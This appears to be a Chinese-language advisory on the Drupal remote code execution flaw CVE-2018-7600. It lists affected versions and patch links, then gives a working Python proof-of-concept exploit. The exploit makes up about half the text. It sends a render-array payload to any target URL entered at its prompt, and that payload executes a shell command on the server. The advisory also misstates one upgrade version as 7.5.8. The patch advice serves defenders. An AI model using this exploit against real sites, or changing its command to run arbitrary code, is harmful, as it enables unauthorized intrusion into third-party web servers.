CVE-2018-7600

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code .

影响版本

  1. Drupal 6
  2. Drupal 7
  3. Drupal 8

修复建议

Drupal 6.x的修复参考以下网站:

https://www.drupal.org/project/d6lts

Drupal 7.x请升级到Drupal 7.5.8版本,

同时官方给出7.X补丁,若用户无法立即升级版本,请更新补丁,补丁地址为:

https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5

Drupal 8.5.x请升级到Drupal 8.5.1版本

同时官方给出8.5.X补丁,若用户无法立即升级版本,请更新补丁,补丁地址为:

https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f

Drupal 8.3.x和8.4.x版本官方已不进行维护,但此漏洞非常严重,官方此次也给出了对应补丁,补丁同8.5.x版本:补丁地址为:

https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f

由于Drupal 8.3.x和8.4.x版本官方已不进行维护,建议用户最好升级到官方维护的Drupal 8.3.9以及Drupal 8.4.6版本

友情提示

Drupal 8.0.x、Drupal 8.1.x、Drupal 8.2.x官方已不再维护,请各位用户升级到官方维护的版本

EXP

#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}
r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')